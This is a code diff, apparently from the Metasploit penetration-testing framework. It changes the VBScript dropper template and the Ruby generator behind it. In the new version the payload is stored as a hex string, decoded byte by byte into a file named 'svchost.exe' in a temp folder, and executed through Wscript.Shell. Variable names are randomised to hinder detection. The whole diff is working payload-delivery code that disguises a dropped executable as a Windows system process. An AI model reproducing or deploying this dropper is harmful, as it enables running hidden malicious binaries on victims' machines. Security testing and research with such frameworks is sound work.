diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template
index 102d2787bb..460a2176d2 100644
--- a/data/templates/scripts/to_exe.vbs.template
+++ b/data/templates/scripts/to_exe.vbs.template
@@ -1,5 +1,5 @@
 Function %{var_func}()
-%{var_shellcode}
+	%{var_shellcode} = "%{var_hex_shellcode}"
 
 	Dim %{var_obj}
 	Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
@@ -12,7 +12,9 @@ Function %{var_func}()
 	%{var_obj}.CreateFolder(%{var_basedir})
 	%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
 	Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
-	%{var_stream}.Write %{var_bytes}
+	For i = 1 to Len(%{var_shellcode}) Step 2
+	    %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2)))
+	Next
 	%{var_stream}.Close
 	Dim %{var_shell}
 	Set %{var_shell} = CreateObject("Wscript.Shell")
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index 43ad61470e..b0064b4ca8 100755
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -824,8 +824,7 @@ def self.to_vba(framework,code,opts={})
     persist = opts[:persist] || false
 
     hash_sub = {}
-    hash_sub[:var_shellcode] = ""
-    hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
+    hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
@@ -835,7 +834,7 @@ def self.to_vba(framework,code,opts={})
     hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
 
-    hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
+    hash_sub[:var_hex_shellcode] = exes.unpack('H*').join('')
 
     hash_sub[:init] = ""